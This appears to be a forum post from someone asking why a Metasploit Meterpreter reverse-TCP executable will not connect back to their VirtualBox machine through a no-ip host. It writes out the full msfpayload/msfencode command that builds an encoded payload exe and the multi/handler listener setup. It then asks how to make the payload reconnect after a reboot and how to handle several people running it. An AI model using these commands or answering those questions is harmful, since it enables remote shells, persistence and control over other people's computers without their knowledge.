Okay, so I was wondering about a remote meterpreter connection.
I'm running backtrack 4 in a virtualbox, and was wondering how I set the lhost/rhost to work with it.
To create the exe I run.
Code:
./msfpayload windows/meterpreter/reverse_tcp_allports lhost 192.168.1.103 lport 5555 rhost=myno-ipaccount R | ./msfencode -b '' -t exe -o output.exe
Now, I start the listening port and such.
Code:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_allports
set lhost 192.168.1.103
set lport 5555
set rhost myno-ipaccount
exploit
then I get a buddy of mine to run the exe, and it keeps listening. I've port forwarded everything, and can only assume that it's not working because its in a virtualbox, so it might not think it has the same local IP or something..
Before anyone says I'm violating terms of no-ip, im not because this isn't malicious, it is just testing.
So yeaah, any ideas? Lol.
EDIT: Again, this is remote, which is why I'm using rhost
And, 2 questions:
1. If someone were to run this file, and reboot, when they rebooted their computer, would it try and make the connection to me again?
2. Can I have more than 1 person run this, and get to choose between which one I get the connection on?